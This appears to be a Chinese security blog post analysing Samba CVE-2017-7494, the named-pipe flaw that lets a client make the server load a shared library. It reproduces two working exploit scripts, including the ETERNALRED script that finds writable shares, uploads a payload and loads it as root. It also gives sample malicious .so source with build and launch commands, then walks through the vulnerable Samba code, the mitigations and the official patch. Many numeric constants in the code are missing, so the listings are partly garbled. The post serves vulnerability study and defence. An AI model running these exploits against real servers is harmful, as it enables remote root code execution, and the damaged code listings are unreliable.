catalogue

. 漏洞复现
. 漏洞代码原理分析
. 漏洞利用前提
. 临时缓解 && 修复手段

1. 漏洞复现

. SMB登录上去
. 枚举共享目录,得到共享目录/文件列表,匿名IPC$将会被跳过
. 从中过滤目录,检测是否可写(通过创建一个.txt方式实现)
. 生成一个随机8位的so文件名,并将paylaod写入so中
. 最后一步,连接到\\192.168.206.128\\IPC$,在smb登录状态下,创建/打开一个named pipe

0x1: POC1

# -*- coding: utf- -*-
# AUTHOR: zhenghan.zh
# RELEASE TIME: //
# LINK: https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb
# DESCRIPTION: 如果黑客可以对samba某个目录具备写权限,可以向其中写入一个包含samba_init_module()导出函数的so文件,并且向samba服务器通过IPC named pipe的形式请求这个so文件,
# 由于对路径中的斜杠处理不当,samba会加载并执行这个so文件中的samba_init_module()代码逻辑 from optparse import OptionParser
from impacket.dcerpc.v5 import transport def main():
parser = OptionParser()
parser.add_option("-t", "--target", dest="target", help="target ip address")
parser.add_option("-m", "--module", dest="module", help="module path on target server") (options, args) = parser.parse_args()
if options.target and options.module:
stringbinding = r'ncacn_np:%s[\pipe\%s]' % (options.target, options.module)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
dce = rpctransport.get_dce_rpc()
dce.connect() else:
parser.print_help() if __name__ == "__main__":
main()

0x2: POC2

#! /usr/bin/env python
# Title : ETERNALRED
# Date: //
# Exploit Author: steelo <knownsteelo@gmail.com>
# Vendor Homepage: https://www.samba.org
# Samba 3.5. - 4.5./4.5./4.4.
# CVE-- import argparse
import os.path
import sys
import tempfile
import time
from smb.SMBConnection import SMBConnection
from smb import smb_structs
from smb.base import _PendingRequest
from smb.smb2_structs import *
from smb.base import * class SharedDevice2(SharedDevice):
def __init__(self, type, name, comments, path, password):
super().__init__(type, name, comments)
self.path = path
self.password = password class SMBConnectionEx(SMBConnection):
def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=, is_direct_tcp=False):
super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp) def hook_listShares(self):
self._listShares = self.listSharesEx def hook_retrieveFile(self):
self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix # This is maily the original listShares but request a higher level of info
def listSharesEx(self, callback, errback, timeout = ):
if not self.has_authenticated:
raise NotReadyError('SMB connection not authenticated') expiry_time = time.time() + timeout
path = 'IPC$'
messages_history = [ ] def connectSrvSvc(tid):
m = SMB2Message(SMB2CreateRequest('srvsvc',
file_attributes = ,
access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
oplock = SMB2_OPLOCK_LEVEL_NONE,
impersonation = SEC_IMPERSONATE,
create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL,
create_disp = FILE_OPEN)) m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback)
messages_history.append(m) def connectSrvSvcCB(create_message, **kwargs):
messages_history.append(create_message)
if create_message.status == :
call_id = self._getNextRPCCallID()
# The data_bytes are binding call to Server Service RPC using DCE v1. RPC over SMB. See [MS-SRVS] and [C706]
# If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
data_bytes = \
binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + \
struct.pack('<I', call_id) + \
binascii.unhexlify(b"""
b8 b8
c8 4f 4b d3 5a bf 6e e1
5d 8a eb 1c c9 9f e8
2b c8 4f 4b
d3 5a bf 6e e1
2c 1c b7 6c """.replace(b' ', b'').replace(b'\n', b''))
m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, ))
m.tid = create_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid)
messages_history.append(m)
else:
errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history)) def rpcBindCB(trans_message, **kwargs):
messages_history.append(trans_message)
if trans_message.status == :
m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = , read_offset = ))
m.tid = trans_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid'])
messages_history.append(m)
else:
closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint') def rpcReadCB(read_message, **kwargs):
messages_history.append(read_message)
if read_message.status == :
call_id = self._getNextRPCCallID() padding = b''
remote_name = '\\\\' + self.remote_name
server_len = len(remote_name) +
server_bytes_len = server_len *
if server_len % != :
padding = b'\0\0'
server_bytes_len += # The data bytes are the RPC call to NetrShareEnum (Opnum ) at Server Service RPC.
# If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
data_bytes = \
binascii.unhexlify(b"""05 00 00 03 10 00 00 00""".replace(b' ', b'')) + \
struct.pack('<HHI', +server_bytes_len, , call_id) + \
binascii.unhexlify(b"""4c 00 00 00 00 00 0f 00 00 00 02 00""".replace(b' ', b'')) + \
struct.pack('<III', server_len, , server_len) + \
(remote_name + '\0').encode('UTF-16LE') + padding + \
binascii.unhexlify(b""" ff ff ff ff
""".replace(b' ', b'').replace(b'\n', b''))
m = SMB2Message(SMB2IoctlRequest(kwargs['fid'], 0x0011C017, flags = 0x01, max_out_size = , in_data = data_bytes))
m.tid = read_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
messages_history.append(m)
else:
closeFid(read_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to bind to Server Service RPC endpoint') def listShareResultsCB(result_message, **kwargs):
messages_history.append(result_message)
if result_message.status == :
# The payload.data_bytes will contain the results of the RPC call to NetrShareEnum (Opnum ) at Server Service RPC.
data_bytes = result_message.payload.out_data if data_bytes[] & 0x02 == :
sendReadRequest(result_message.tid, kwargs['fid'], data_bytes)
else:
decodeResults(result_message.tid, kwargs['fid'], data_bytes)
elif result_message.status == 0x0103: # STATUS_PENDING
self.pending_requests[result_message.mid] = _PendingRequest(result_message.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
else:
closeFid(result_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history)) def decodeResults(tid, fid, data_bytes):
shares_count = struct.unpack('<I', data_bytes[:])[]
results = [ ] # A list of SharedDevice2 instances
offset = + # You need to study the byte stream to understand the meaning of these constants
for i in range(, shares_count):
results.append(SharedDevice(struct.unpack('<I', data_bytes[offset+:offset+])[], None, None))
offset += for i in range(, shares_count):
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+])
offset +=
results[i].name = data_bytes[offset:offset+length*-].decode('UTF-16LE') if length % != :
offset += (length * + )
else:
offset += (length * ) max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+])
offset +=
results[i].comments = data_bytes[offset:offset+length*-].decode('UTF-16LE') if length % != :
offset += (length * + )
else:
offset += (length * ) max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+])
offset +=
results[i].path = data_bytes[offset:offset+length*-].decode('UTF-16LE') if length % != :
offset += (length * + )
else:
offset += (length * ) max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+])
offset +=
results[i].password = data_bytes[offset:offset+length*-].decode('UTF-16LE') if length % != :
offset += (length * + )
else:
offset += (length * ) closeFid(tid, fid)
callback(results) def sendReadRequest(tid, fid, data_bytes):
read_count = min(, self.max_read_size)
m = SMB2Message(SMB2ReadRequest(fid, , read_count))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback,
fid = fid, data_bytes = data_bytes) def readCB(read_message, **kwargs):
messages_history.append(read_message)
if read_message.status == :
data_len = read_message.payload.data_length
data_bytes = read_message.payload.data if data_bytes[] & 0x02 == :
sendReadRequest(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[:data_len-])
else:
decodeResults(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[:data_len-])
else:
closeFid(read_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history)) def closeFid(tid, fid, results = None, error = None):
m = SMB2Message(SMB2CloseRequest(fid))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, closeCB, errback, results = results, error = error)
messages_history.append(m) def closeCB(close_message, **kwargs):
if kwargs['results'] is not None:
callback(kwargs['results'])
elif kwargs['error'] is not None:
errback(OperationFailure(kwargs['error'], messages_history)) if path not in self.connected_trees:
def connectCB(connect_message, **kwargs):
messages_history.append(connect_message)
if connect_message.status == :
self.connected_trees[path] = connect_message.tid
connectSrvSvc(connect_message.tid)
else:
errback(OperationFailure('Failed to list shares: Unable to connect to IPC$', messages_history)) m = SMB2Message(SMB2TreeConnectRequest(r'\\%s\%s' % ( self.remote_name.upper(), path )))
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectCB, errback, path = path)
messages_history.append(m)
else:
connectSrvSvc(self.connected_trees[path]) # Don't convert to Window style path
def _retrieveFileFromOffset_SMB1Unix(self, service_name, path, file_obj, callback, errback, starting_offset, max_length, timeout = ):
if not self.has_authenticated:
raise NotReadyError('SMB connection not authenticated') messages_history = [ ] def sendOpen(tid):
m = SMBMessage(ComOpenAndxRequest(filename = path,
access_mode = 0x0040, # Sharing mode: Deny nothing to others
open_mode = 0x0001, # Failed if file does not exist
search_attributes = SMB_FILE_ATTRIBUTE_HIDDEN | SMB_FILE_ATTRIBUTE_SYSTEM,
timeout = timeout * ))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, openCB, errback)
messages_history.append(m) def openCB(open_message, **kwargs):
messages_history.append(open_message)
if not open_message.status.hasError:
if max_length == :
closeFid(open_message.tid, open_message.payload.fid)
callback(( file_obj, open_message.payload.file_attributes, ))
else:
sendRead(open_message.tid, open_message.payload.fid, starting_offset, open_message.payload.file_attributes, , max_length)
else:
errback(OperationFailure('Failed to retrieve %s on %s: Unable to open file' % ( path, service_name ), messages_history)) def sendRead(tid, fid, offset, file_attributes, read_len, remaining_len):
read_count = self.max_raw_size -
m = SMBMessage(ComReadAndxRequest(fid = fid,
offset = offset,
max_return_bytes_count = read_count,
min_return_bytes_count = min(0xFFFF, read_count)))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, offset = offset, file_attributes = file_attributes,
read_len = read_len, remaining_len = remaining_len) def readCB(read_message, **kwargs):
# To avoid crazy memory usage when retrieving large files, we do not save every read_message in messages_history.
if not read_message.status.hasError:
read_len = kwargs['read_len']
remaining_len = kwargs['remaining_len']
data_len = read_message.payload.data_length
if max_length > :
if data_len > remaining_len:
file_obj.write(read_message.payload.data[:remaining_len])
read_len += remaining_len
remaining_len =
else:
file_obj.write(read_message.payload.data)
remaining_len -= data_len
read_len += data_len
else:
file_obj.write(read_message.payload.data)
read_len += data_len if (max_length > and remaining_len <= ) or data_len < (self.max_raw_size - ):
closeFid(read_message.tid, kwargs['fid'])
callback(( file_obj, kwargs['file_attributes'], read_len )) # Note that this is a tuple of -elements
else:
sendRead(read_message.tid, kwargs['fid'], kwargs['offset']+data_len, kwargs['file_attributes'], read_len, remaining_len)
else:
messages_history.append(read_message)
closeFid(read_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to retrieve %s on %s: Read failed' % ( path, service_name ), messages_history)) def closeFid(tid, fid):
m = SMBMessage(ComCloseRequest(fid))
m.tid = tid
self._sendSMBMessage(m)
messages_history.append(m) if service_name not in self.connected_trees:
def connectCB(connect_message, **kwargs):
messages_history.append(connect_message)
if not connect_message.status.hasError:
self.connected_trees[service_name] = connect_message.tid
sendOpen(connect_message.tid)
else:
errback(OperationFailure('Failed to retrieve %s on %s: Unable to connect to shared device' % ( path, service_name ), messages_history)) m = SMBMessage(ComTreeConnectAndxRequest(r'\\%s\%s' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, ''))
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name)
messages_history.append(m)
else:
sendOpen(self.connected_trees[service_name]) def get_connection(user, password, server, port, force_smb1=False):
if force_smb1:
smb_structs.SUPPORT_SMB2 = False conn = SMBConnectionEx(user, password, "", "server")
assert conn.connect(server, port)
return conn def get_share_info(conn):
conn.hook_listShares()
return conn.listShares() def find_writeable_share(conn, shares):
print("[+] Searching for writable share")
filename = "red"
test_file = tempfile.TemporaryFile()
for share in shares:
try:
# If it's not writeable this will throw
conn.storeFile(share.name, filename, test_file)
conn.deleteFiles(share.name, filename)
print("[+] Found writeable share: " + share.name)
return share
except:
pass return None def write_payload(conn, share, payload, payload_name):
with open(payload, "rb") as fin:
conn.storeFile(share.name, payload_name, fin) return True def convert_share_path(share):
path = share.path[:]
path = path.replace("\\", "/")
return path def load_payload(user, password, server, port, fullpath):
conn = get_connection(user, password, server, port, force_smb1 = True)
conn.hook_retrieveFile() print("[+] Attempting to load payload")
temp_file = tempfile.TemporaryFile() try:
conn.retrieveFile("IPC$", "\\\\PIPE\\" + fullpath, temp_file)
except:
pass return def drop_payload(user, password, server, port, payload):
payload_name = "charizard" conn = get_connection(user, password, server, port)
shares = get_share_info(conn)
share = find_writeable_share(conn, shares) if share is None:
print("[!] No writeable shares on " + server + " for user: " + user)
sys.exit(-) if not write_payload(conn, share, payload, payload_name):
print("[!] Failed to write payload: " + str(payload) + " to server")
sys.exit(-) conn.close() fullpath = convert_share_path(share)
return os.path.join(fullpath, payload_name) def main():
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,
description= """Eternal Red Samba Exploit -- CVE-2017-7494
Causes vulnerable Samba server to load a shared library in root context
Credentials are not required if the server has a guest account
For remote exploit you must have write permissions to at least one share
Eternal Red will scan the Samba server for shares it can write to
It will also determine the fullpath of the remote share For local exploit provide the full path to your shared library to load Your shared library should look something like this extern bool change_to_root_user(void);
int samba_init_module(void)
{
change_to_root_user();
/* Do what thou wilt */
}
""")
parser.add_argument("payload", help="path to shared library to load", type=str)
parser.add_argument("server", help="Server to target", type=str)
parser.add_argument("-p", "--port", help="Port to use defaults to 445", type=int)
parser.add_argument("-u", "--username", help="Username to connect as defaults to nobody", type=str)
parser.add_argument("--password", help="Password for user default is empty", type=str)
parser.add_argument("--local", help="Perform local attack. Payload should be fullpath!", type=bool)
args = parser.parse_args() if not os.path.isfile(args.payload):
print("[!] Unable to open: " + args.payload)
sys.exit(-) port =
user = "nobody"
password = ""
fullpath = "" if args.port:
port = args.port
if args.username:
user = args.username
if args.password:
password = args.password if args.local:
fullpath = args.payload
else:
fullpath = drop_payload(user, password, args.server, port, args.payload) load_payload(user, password, args.server, port, fullpath) if __name__ == "__main__":
main()

0x3: so code

#include <stdio.h>
#include <stdlib.h> int samba_init_module(){
printf("Hi Samba. \n from: Fuck");
system("id > /home/samba/Fuck.txt"); return ;
} gcc -fPIC -shared samba_hack.c -o samba_hack.so /home/samba/samba_hack.so python exploit.py -t 192.168.206.128 -m /home/samba/samba_hack.so

Relevant Link:

https://www.exploit-db.com/exploits/42060/
https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb
https://www.seebug.org/vuldb/ssvid-93139#0-tsina-1-55374-397232819ff9a47a7b7e80a40613cfe1
https://www.theregister.co.uk/2017/05/25/fatthumbed_dev_slashes_samba_security/

2. 漏洞代码原理分析

MSF发送的最核心payload本质上一个SMB数据包,即通过SMB协议打开一个named pipe文件

# Returns a SMB_CREATE_RES response for a given named pipe
def create_pipe(filename, disposition = , impersonation = )
self.create(filename)
end # Creates a file or opens an existing pipe
def create(filename, disposition = , impersonation = , do_recv = true) pkt = CONST::SMB_CREATE_PKT.make_struct
self.smb_defaults(pkt['Payload']['SMB']) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end pkt['Payload']['SMB'].v['WordCount'] = pkt['Payload'].v['AndX'] =
pkt['Payload'].v['FileNameLen'] = filename.length
pkt['Payload'].v['CreateFlags'] = 0x16
pkt['Payload'].v['AccessMask'] = 0x02000000 # Maximum Allowed
pkt['Payload'].v['ShareAccess'] =
pkt['Payload'].v['CreateOptions'] =
pkt['Payload'].v['Impersonation'] = impersonation
pkt['Payload'].v['Disposition'] = disposition
pkt['Payload'].v['Payload'] = filename + "\x00" ret = self.smb_send(pkt.to_s)
return ret if not do_recv ack = self.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX) # Save off the FileID
if (ack['Payload'].v['FileID'] > )
self.last_file_id = ack['Payload'].v['FileID']
end return ack
end

SMB_COM_NT_CREATE_ANDX是SMB支持的一个Command协议类型,关于SMB协议,请参阅另一篇文章

http://www.cnblogs.com/LittleHann/p/6916326.html

这个数据包到达Linux Samba服务器后,会触发named pipe解析流程

\samba-3.5.0\source3\rpc_server\src_pipe.c

/**
* Is a named pipe known?
* @param[in] cli_filename The pipe name requested by the client
* @result Do we want to serve this?
*/
bool is_known_pipename(const char *cli_filename, struct ndr_syntax_id *syntax)
{
const char *pipename = cli_filename;
int i;
NTSTATUS status; // 传进来的payload是\PIPE\path\xx.so这种路径,需要把PIPE头部去掉
if (strnequal(pipename, "\\PIPE\\", )) {
pipename += ;
} if (*pipename == '\\') {
pipename += ;
} if (lp_disable_spoolss() && strequal(pipename, "spoolss")) {
DEBUG(, ("refusing spoolss access\n"));
return false;
} for (i=; i<rpc_lookup_size; i++) {
if (strequal(pipename, rpc_lookup[i].pipe.clnt)) {
*syntax = rpc_lookup[i].rpc_interface;
return true;
}
}
// 这里把传入的pipename传入smb_probe_module()进行解析: \\192.168.206.128\\IPC$\home\samba\samba_hack.so
status = smb_probe_module("rpc", pipename);
if (!NT_STATUS_IS_OK(status)) {
DEBUG(, ("is_known_pipename: %s unknown\n", cli_filename));
return false;
}
DEBUG(, ("is_known_pipename: %s loaded dynamically\n", pipename)); /*
* Scan the list again for the interface id
*/ for (i=; i<rpc_lookup_size; i++) {
if (strequal(pipename, rpc_lookup[i].pipe.clnt)) {
*syntax = rpc_lookup[i].rpc_interface;
return true;
}
} DEBUG(, ("is_known_pipename: pipe %s did not register itself!\n",
pipename)); return false;
}

在这里可以看到 pipename ,这个是管道名,需要利用这个管道名是恶意共享库so文件参数,比如\home\samba\samba_hack.so , 这个参数在传递进 smb_probe_module 里,跟进下这个函数
\samba-3.5.0\source3\lib\module.c

NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
char *full_path = NULL;
TALLOC_CTX *ctx = talloc_stackframe();
NTSTATUS status; /* Check for absolute path */ /* if we make any 'samba multibyte string'
calls here, we break
for loading string modules */ DEBUG(, ("Probing module '%s'\n", module));
// 如果传入的是一个据对路径,在继续传入do_smb_load_module
if (module[] == '/') {
status = do_smb_load_module(module, True);
TALLOC_FREE(ctx);
return status;
} full_path = talloc_asprintf(ctx,
"%s/%s.%s",
modules_path(subsystem),
module,
shlib_ext());
if (!full_path) {
TALLOC_FREE(ctx);
return NT_STATUS_NO_MEMORY;
} DEBUG(, ("Probing module '%s': Trying to load from %s\n",
module, full_path)); status = do_smb_load_module(full_path, True); TALLOC_FREE(ctx);
return status;
}

继续跟进do_smb_load_module()

static NTSTATUS do_smb_load_module(const char *module_name, bool is_probe)
{
void *handle;
init_module_function *init;
NTSTATUS status;
const char *error; /* Always try to use LAZY symbol resolving; if the plugin has
* backwards compatibility, there might be symbols in the
* plugin referencing to old (removed) functions
*/
handle = dlopen(module_name, RTLD_LAZY); /* This call should reset any possible non-fatal errors that
occured since last call to dl* functions */
error = dlerror(); if(!handle) {
int level = is_probe ? : ;
DEBUG(level, ("Error loading module '%s': %s\n", module_name, error ? error : ""));
return NT_STATUS_UNSUCCESSFUL;
}
// 动态加载so,并调用了init_samba_module
init = (init_module_function *)dlsym(handle, "init_samba_module"); /* we must check dlerror() to determine if it worked, because
dlsym() can validly return NULL */
error = dlerror();
if (error) {
DEBUG(, ("Error trying to resolve symbol 'init_samba_module' "
"in %s: %s\n", module_name, error));
dlclose(handle);
return NT_STATUS_UNSUCCESSFUL;
} DEBUG(, ("Module '%s' loaded\n", module_name)); status = init();
if (!NT_STATUS_IS_OK(status)) {
DEBUG(, ("Module '%s' initialization failed: %s\n",
module_name, get_friendly_nt_error_msg(status)));
dlclose(handle);
} return status;
}

可以看到把管道名传递进入到 dlopen 函数也就是打开恶意构造的共享库文件,接着把句柄给了 dlsym 加载SAMBA_INIT_MODULE,也就是说恶意共享库的功能要写入到 Samba 初始化函数里才能被加载,这样就触发了恶意构造的函数功能。看到这里,不免心理产生一个疑问,这个漏洞看起来是samba提供的一个"正常功能",似乎就是专门用来加载samba so模块并执行的,我么接下来分析下samba提供这个功能的本意是什么

0x1: samba module

samba提供了一套module system机制,它提供了samba功能扩展的灵活性

. Transparent loading of static and shared modules (no need for a subsystem to know about modules)
. Simple selection between shared and static modules at configure time
. "preload modules" option for increasing performance for stable modules
. No nasty #define stuff anymore
. All backends are available as plugin now (including pdb_ldap and pdb_tdb)

1. Loading modules

Some subsystems in samba use different backends. These backends can be either statically linked in to samba or available as a plugin. A subsystem should have a function that allows a module to register itself. For example, the passdb subsystem has:
NTSTATUS smb_register_passdb(int version, const char *name, pdb_init_function init);
This function will be called by the initialisation function of the module to register itself.

2. Static modules

The modules system compiles a list of initialisation functions for the static modules of each subsystem. This is a define. For example, it is here currently (from include/config.h):

/* Static init functions */
#define static_init_pdb { pdb_mysql_init(); pdb_ldap_init(); pdb_smbpasswd_init(); pdb_tdbsam_init(); pdb_guest_init();}
These functions should be called before the subsystem is used. That should be done when the subsystem is initialised or first used.

3. Shared modules

If a subsystem needs a certain backend, it should check if it has already been registered. If the backend hasn't been registered already, the subsystem should call smb_probe_module(char *subsystem, char *backend). This function tries to load the correct module from a certain path ($LIBDIR/subsystem/backend.so). If the first character in 'backend' is a slash, smb_probe_module() tries to load the module from the absolute path specified in 'backend'.
After smb_probe_module() has been executed, the subsystem should check again if the module has been registered.

0x2: RPC Pluggable Modules

回到这次漏洞的主角,RPC subsystem,This architecture was added to increase the maintainability of Samba allowing RPC Pipes to be worked on separately from the main CVS branch. The RPM architecture will also allow third-party vendors to add functionality to Samba through plug-ins.

Samba在3.0之后增加了RPC方式为Samba server增加功能扩展插件(so)的能力

When an RPC call is sent to smbd, smbd tries to load a shared library by the name librpc_<pipename>.so to handle the call if it doesn't know how to handle the call internally. For instance, LSA calls are handled by librpc_lsass.so.. These shared libraries should be located in the <sambaroot>/lib/rpc. smbd then attempts to call the init_module function within the shared library

Relevant Link:

http://paper.seebug.org/307/#0-tsina-1-33359-397232819ff9a47a7b7e80a40613cfe1
http://blogs.360.cn/blog/samba%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9Ecve-2017-7494%E5%88%86%E6%9E%90/
http://www.freebuf.com/vuls/135624.html
https://www.samba.org/samba/docs/man/Samba-Developers-Guide/modules.html
https://www.samba.org/samba/docs/man/Samba-Developers-Guide/rpc-plugin.html
https://www.samba.org/samba/docs/man/Samba-Developers-Guide/

3. 漏洞利用前提

该漏洞的稳定性和适用性不高,原因是有很多前提限制

. 需要能登录对方SMB服务器
) 如果对方是share模式,则直接匿名登录
) 如果对方是user模式,则需要知道帐号密码
. 需要该登录的帐号具有Samba共享目录的写入权限,应为用于执行执行的so文件需要上传到SMB共享目录中
. 需要暴力猜解写入目录的绝对路径,该漏洞利用的是SMB的SMB_COM_NT_CREATE_ANDX指令,该指令要求我们传入so在目标机器上的据对物理路径

Relevant Link:

http://www.sohu.com/a/143887827_332887

4. 临时缓解 && 修复手段

0x1: 通过修改配置文件临时关闭相关功能

smb.conf
[global]
nt pipesupport = no 重启samba服务
service smb restart
#Or
/etc/init.d/smb restart

0x2: samba-4.6.3-4.5.9-4.4.13-CVE-2017-7494.patch

diff --git a/source3/rpc_server/srv_pipe.c b/source3/rpc_server/srv_pipe.c
index 0633b5f..c3f0cd8
--- a/source3/rpc_server/srv_pipe.c
+++ b/source3/rpc_server/srv_pipe.c
@@ -, +, @@ bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
NTSTATUS status; + if (strchr(pipename, '/')) {
+ DEBUG(, ("Refusing open on pipe %s\n", pipename));
+ return false;
+ }
+
if (lp_disable_spoolss() && strequal(pipename, "spoolss")) {
DEBUG(, ("refusing spoolss access\n"));
return false;

samba禁止传入据对路径的so路径,因为正常来说,samba只接收<sambaroot>/lib/rpc/xxx.so这种路径

Relevant Link:

http://www.sohu.com/a/143887827_332887
https://download.samba.org/pub/samba/patches/security/samba-4.6.3-4.5.9-4.4.13-CVE-2017-7494.patch
https://www.samba.org/samba/history/security.html

Copyright (c) 2017 LittleHann All rights reserved

CVE-2017-7494 Linux Samba named pipe file Open Vul Lead to DLL Execution的更多相关文章

  1. CVE-2017-7494:Linux Samba named pipe漏洞

    描述: 漏洞是由于代码中一个管道申请命令的判断导致的,可以通过构造特定请求执行上传的so文件. 漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本. 测试: ...

  2. Linux中的pipe(管道)与named pipe(FIFO 命名管道)

    catalogue . pipe匿名管道 . named pipe(FIFO)有名管道 1. pipe匿名管道 管道是Linux中很重要的一种通信方式,是把一个程序的输出直接连接到另一个程序的输入,常 ...

  3. linux 进程学习笔记-named pipe (FIFO)命名管道

    与“无名管道”不同的是,FIFO拥有一个名称来标志它,所谓的名称实际上就是一个路径,比如“/tmp/my_fifo”,其对应到磁盘上的一个管道文件,如果我们用file命令来查看其文件类型的话,会得到如 ...

  4. Linux samba多用户挂载

    samba 多用户挂载 通过multiuser挂载选项,使用基于密码验证和cifscreds实现访问控制在默认情况下,samba共享挂载后,是通过挂载时的验证来实现对挂载资源的访问控制.通过新的mul ...

  5. run commands in linux shell using batch file

    adb shell as root after device rooted once device rooted, we must perform "su" before we g ...

  6. RHEL6.5上Oracle ACFS与Linux samba一起使用时遇到的bug

    RHEL上的Oracle ACFS与linux samba一起使用时遇到的bug 一.环境介绍: cat /etc/issue的结果为: Red Hat Enterprise Linux Server ...

  7. docker-compose up Windows named pipe error:(code: 2)

    执行docker-compose up启动项目时,报如下错误: ERRORERROR: Windows named pipe error: 膸碌脥艂艕艊藳禄碌藵脰赂露篓碌脛脦脛慕牛藝艁 (code: ...

  8. 【翻译自mos文章】当/var/tmp文件夹被remove掉之后,GI crash,并启动失败,原因是ohasd can not create named pipe

    来源于: GI crashes and fails to start after "/var/tmp" directory was removed as ohasd can not ...

  9. Linux Samba安装与使用

    一 安装环境: 虚拟机:RedHat  5.4  192.168.75.128 主机环境:WIN7 32bit  192.168.75.1 网络连接方式:NAT 二 安装步骤: 说明: Ø  samb ...

随机推荐

  1. js调用浏览器打印指定div内容

    --打印按钮事件 function printForm(){    var headstr = '<html xmlns:th="http://www.thymeleaf.org&qu ...

  2. iOS 防止UIButton重复点击

    使用UIButton的enabled或userInteractionEnabled 使用UIButton的enabled属性, 在点击后, 禁止UIButton的交互, 直到完成指定任务之后再将其en ...

  3. 【Eclipse】springMVC介绍与配置

    SpringMCV介绍: Spring MVC是一种基于Java的实现了MVC设计模式的请求驱动类型的轻量级Web框架,即使用了MVC架构模式的思想,将web层进行职责解耦,基于请求驱动的,也就是使用 ...

  4. 什么是tomcat集群?

    什么是tomcat集群? 利用nginx对请求进行分流,将请求分配给不同的tomcat去处理,减少每个tomcat的负载量,提高服务器的响应速度. 目标 实现高性能负载均衡的tomcat集群. 工具 ...

  5. spark-2.4.0-hadoop2.7-安装部署

    1. 主机规划 主机名称 IP地址 操作系统 部署软件 运行进程 备注 mini01 172.16.1.11[内网] 10.0.0.11  [外网] CentOS 7.5 Jdk-8.zookeepe ...

  6. LeetCode算法题-Set Mismatch(Java实现)

    这是悦乐书的第279次更新,第295篇原创 01 看题和准备 今天介绍的是LeetCode算法题中Easy级别的第147题(顺位题号是645).集合S最初包含从1到n的数字. 但不幸的是,由于数据错误 ...

  7. 用Angular部署Cesium

    用到的集成开发环境是WebStrom,Cesium版本是1.50.0,Angular版本是6.2.4  1.首先我们安装cesium,在webstorm中的Termianl中输入 npm instal ...

  8. Redis学习笔记(3)——Redis的命令大全

    Redis是一种nosql数据库,常被称作数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted se ...

  9. nginx [alert] 12339#0: 1024 worker_connections are not enough

    进一步分析报错原因,具体步骤如下: l  查看这两台系统最大的允许文件打开数 [root@nginx01 logs]# cat /proc/sys/fs/file-max 343927 l  通过ul ...

  10. Label Encoding vs One Hot Encoding

